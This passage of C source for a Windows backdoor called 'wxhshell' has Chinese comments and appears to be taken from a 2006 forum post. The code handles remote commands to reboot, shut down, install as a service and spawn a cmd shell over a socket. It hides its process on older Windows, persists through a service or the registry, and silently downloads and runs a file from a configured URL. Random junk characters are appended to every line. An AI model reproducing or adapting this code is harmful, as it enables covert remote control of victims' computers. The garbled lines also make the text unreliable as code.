  case '?': { Jrf=@m\dk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KkyVSoD\  
    break; }Bh8=F3O Q  
  } YaqR[F  
  // 安装 k}CVQ@nd  
  case 'i': { g axsv[W>^  
    if(Install()) bP#:Oi0v`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9=M$AB  
    else ;+_:,_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tT8%yG}  
    break; 2|y"!JqE1  
    } +/7?HGf  
  // 卸载 SR hiQ  
  case 'r': { yzn%<H~  
    if(Uninstall()) @7c?xQVd$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TqQB@-!  
    else /HEw-M9z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j;Gtu  
    break; N% B>M7-=  
    } wu6;.xTLl  
  // 显示 wxhshell 所在路径 Paq4  
  case 'p': { g-k|>-h  
    char svExeFile[MAX_PATH]; nAato\mM  
    strcpy(svExeFile,"\n\r"); j_[tu!~  
      strcat(svExeFile,ExeFile); +E+p"7  
        send(wsh,svExeFile,strlen(svExeFile),0); z9Mfd#5?>P  
    break; E~T-=ocKE  
    } n6>#/eUH  
  // 重启 ]cvwIc">  
  case 'b': { 0auYG><=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); By,eETU]  
    if(Boot(REBOOT)) ]A `n( "%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iyE7V_O T  
    else { Q*cf(  
    closesocket(wsh); <=&`ZH   
    ExitThread(0); gg/-k;@ Rf  
    } T{^rt3a  
    break; v~C Czg  
    } :4w ?#  
  // 关机  A@('pA85  
  case 'd': { 3&4(ZH=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }6~hEc*/"  
    if(Boot(SHUTDOWN)) M0"_^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<3-?}.aZ  
    else { e{H=dIa+  
    closesocket(wsh); Zl!kJ:0  
    ExitThread(0); MJ)RvNF  
    } 8W7J3{d  
    break; I][*j  
    } 1.hyCTnI  
  // 获取shell >6-`}G+|  
  case 's': { hfB%`x#akQ  
    CmdShell(wsh);  }v{LRRi  
    closesocket(wsh); $wa{~'  
    ExitThread(0); 7EEl +;wK  
    break; LOYk9m  
  } G!##X: 6'  
  // 退出 C.P*#_R  
  case 'x': { MjRHA^b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $HzBD.CF|x  
    CloseIt(wsh); =XQ%t @z0  
    break; RP|`HkP-2  
    } ?$pCsBDo  
  // 离开 y Pp9\[+^j  
  case 'q': { cVpp-Z|s8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IPpN@  
    closesocket(wsh); y.k~Y0  
    WSACleanup(); !BF; >f`  
    exit(1); ^7*11%Q  
    break; 372rbY  
        } TX/Xt7#R:  
  } ,p a {qne  
  } 'Is kWgc  
t?gic9 q  
  // 提示信息 T!{w~'=F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{^5X)  
} kZ:ZtE  
  } f~[7t:WD*  
t@;p  
  return; wlvgg  
} @HCVmg:  
ajT*/L!0_  
// shell模块句柄 .P]+? %&  
int CmdShell(SOCKET sock) @mBQ?; qlK  
{ Y=KTeYW`  
STARTUPINFO si; UkC!1Jy  
ZeroMemory(&si,sizeof(si)); -2[a2^a'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zi i   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7]bGc \  
PROCESS_INFORMATION ProcessInfo; j$:~Rek  
char cmdline[]="cmd"; 00y!K m_D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w9imKVry  
  return 0; q`-N7 ,$T  
} 33q}CzK  
^ @5QP$.  
// 自身启动模式 V!=,0zy~Z  
int StartFromService(void) *&W"bOMH*  
{ `w Vyb>T  
typedef struct `h\j99  
{ J@'wf8Ub  
  DWORD ExitStatus; "S]TP$O D  
  DWORD PebBaseAddress; )&O %*@F  
  DWORD AffinityMask; CRE3icXbQ  
  DWORD BasePriority; 'H!Uh]!  
  ULONG UniqueProcessId; BU_nh+dF  
  ULONG InheritedFromUniqueProcessId; AT3Mlz~7#  
}   PROCESS_BASIC_INFORMATION; kzLsoZ!I  
X_h}J=33Q  
PROCNTQSIP NtQueryInformationProcess; cT,sh~-x,  
bE..P&"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4$<JHo @.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cq]6XK-W  
~ 7s!VR  
  HANDLE             hProcess; q9_OGd|P  
  PROCESS_BASIC_INFORMATION pbi; * u>\57W  
o.!Dq7 R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \b x$i*  
  if(NULL == hInst ) return 0; 2ilQXy  
~0$&3a<n1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oc`H}Wvn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Otuf] B^s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >bW #Zs,6  
a=2%4Wmz  
  if (!NtQueryInformationProcess) return 0; ##*3bDf$-5  
R 9\*#c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3pKQ$\u  
  if(!hProcess) return 0; K%oG,-wdg  
D,feF9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?tbrbkx  
wHy!CP%  
  CloseHandle(hProcess); p5iuYHKk?  
ez$(c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R m( "=(  
if(hProcess==NULL) return 0; }7Q%6&IR  
5b*C1HS@X  
HMODULE hMod; 8ib:FF(= u  
char procName[255]; a~w$#fo"`f  
unsigned long cbNeeded; L8B! u9%  
77Y/!~kd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w?[upn:K  
Gc|idjW4  
  CloseHandle(hProcess); fHFE){  
y6a3t G  
if(strstr(procName,"services")) return 1; // 以服务启动 k(HUUH_z  
|L ev.,,Ph  
  return 0; // 注册表启动 %ET+iIhK  
} g 7H(PF?  
Z T%5T}i  
// 主模块 /N{*"s2)  
int StartWxhshell(LPSTR lpCmdLine) (LCfUI6;  
{ })%{AfDRF  
  SOCKET wsl; h_'*XWd@  
BOOL val=TRUE; }K(TjZR  
  int port=0; 9* M,R,y  
  struct sockaddr_in door; @yYkti;4-  
F^:3?JA _  
  if(wscfg.ws_autoins) Install(); =s6 opL)  
59u }W 0  
port=atoi(lpCmdLine); l/5 hp.  
[/r(__.  
if(port<=0) port=wscfg.ws_port; `a/`,N  
^2rN>k,?  
  WSADATA data; hZb_P\1X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E1 2uZ$X  
FSO).=#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F== p<lrs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8s@3hXD&  
  door.sin_family = AF_INET; >t+P(*u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !N^@4*  
  door.sin_port = htons(port); [a(#1  
xmoxZW:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :3 mh@[V  
closesocket(wsl); +}AI@+  
return 1; pb,d'z\S  
} ;^L(^Hx  
-~w'Xo#  
  if(listen(wsl,2) == INVALID_SOCKET) { $??I/6  
closesocket(wsl); R=?[Nz  
return 1; d'> x(Yi  
} [-w%/D%@  
  Wxhshell(wsl); y~V(aih}D  
  WSACleanup(); .xkM.g4{~  
BgT*icd8d  
return 0; c71y'hnT  
!4!~L k=  
} | -H& o]  
Id9TG/H7  
// 以NT服务方式启动 er\|i. Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L~3Pm%{@A  
{ 0jfuBj5!  
DWORD   status = 0; |w=zOC;v  
  DWORD   specificError = 0xfffffff; ['D]>Ot68  
U<XG{<2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "dlV k~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XjBD{m(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7_t'( /yu  
  serviceStatus.dwWin32ExitCode     = 0; zQ PQ  
  serviceStatus.dwServiceSpecificExitCode = 0; E{(;@PzE  
  serviceStatus.dwCheckPoint       = 0; fP1! )po  
  serviceStatus.dwWaitHint       = 0; e3\T)x &=  
!)$Zp\Sg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +ZV5o&V>  
  if (hServiceStatusHandle==0) return; t{>q|0  
-?a 26o%e  
status = GetLastError(); ]M3yLYK/P  
  if (status!=NO_ERROR) k?}Zg*  
{ U0+-W07>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MQ2_`pi  
    serviceStatus.dwCheckPoint       = 0; b,@/!ia  
    serviceStatus.dwWaitHint       = 0; 2an f$^[  
    serviceStatus.dwWin32ExitCode     = status; h+,@G,|D  
    serviceStatus.dwServiceSpecificExitCode = specificError; : Dp0?&_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F'Z,]b'st3  
    return; w-jVC^C]  
  } )/P}?` I  
}m8q}~>tL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uAk.@nfiEv  
  serviceStatus.dwCheckPoint       = 0; ?7A>+EY  
  serviceStatus.dwWaitHint       = 0; aq-~B~c`g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GvAb`c=  
} Vvo 7C!$z  
6u%&<")4HP  
// 处理NT服务事件,比如:启动、停止 4M T 7`sr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |j|rS5  
{ Gw` L"  
switch(fdwControl) VEH>]-0K  
{ gG uO  
case SERVICE_CONTROL_STOP: 05R@7[GWq  
  serviceStatus.dwWin32ExitCode = 0; &,/ S`ke=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y`Z\N   
  serviceStatus.dwCheckPoint   = 0; p7 ~!z.)o  
  serviceStatus.dwWaitHint     = 0; 1;iUWU1@  
  { ry]l.@o;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,%y /kS]  
  } xD7]C|8o  
  return; /{2,zW  
case SERVICE_CONTROL_PAUSE: OrW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a9Vi];  
  break; Y0> @vTUX  
case SERVICE_CONTROL_CONTINUE: n"8Yv~v*2j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EX"yxZ~  
  break; K NOIZj   
case SERVICE_CONTROL_INTERROGATE: n{jGOfc  
  break; "  1tH  
}; >mkFV@`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jWgX_//!  
} H/Jbk*Q  
A}w/OA97RO  
// 标准应用程序主函数 ?A0)L27UE&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O0:q;<>z  
{ |BYRe1l6l  
ykJ>*z  
// 获取操作系统版本 $Kd>:f=A  
OsIsNt=GetOsVer(); 7$#u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kf9X$d6   
xx $cnG  
  // 从命令行安装 +ai< q>+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8,|kao:  
I 6O  
  // 下载执行文件 g{LP7 D;6  
if(wscfg.ws_downexe) { d'ifLQ\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1H9!5=Ff  
  WinExec(wscfg.ws_filenam,SW_HIDE); z!\*Y =e  
} r|Z{-*`  
w(F%^o\  
if(!OsIsNt) { 0}9h]X'  
// 如果时win9x,隐藏进程并且设置为注册表启动 "jCu6Rjd  
HideProc(); < Z$J<]I  
StartWxhshell(lpCmdLine); 3gzXbP,  
} 8EY:t zw  
else (% 9$!v{3  
  if(StartFromService()) 0{mex4  
  // 以服务方式启动 k=^xVQuI  
  StartServiceCtrlDispatcher(DispatchTable); ( 5~h"s  
else 1x^GWtRp  
  // 普通方式启动 !m$jk2<  
  StartWxhshell(lpCmdLine); ,,TnIouy  
qP;OaM CX  
return 0; 4K74=r),i  
}
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只看该作者 1 发表于: 2006-10-10
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